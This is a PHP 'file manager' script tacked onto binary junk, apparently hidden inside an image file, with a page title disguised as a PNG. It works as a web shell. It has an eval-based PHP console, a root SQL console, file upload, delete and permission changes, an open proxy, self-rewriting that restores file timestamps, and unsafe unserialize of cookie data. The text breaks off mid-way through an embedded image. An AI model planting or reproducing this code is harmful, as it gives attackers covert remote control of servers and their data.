uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvK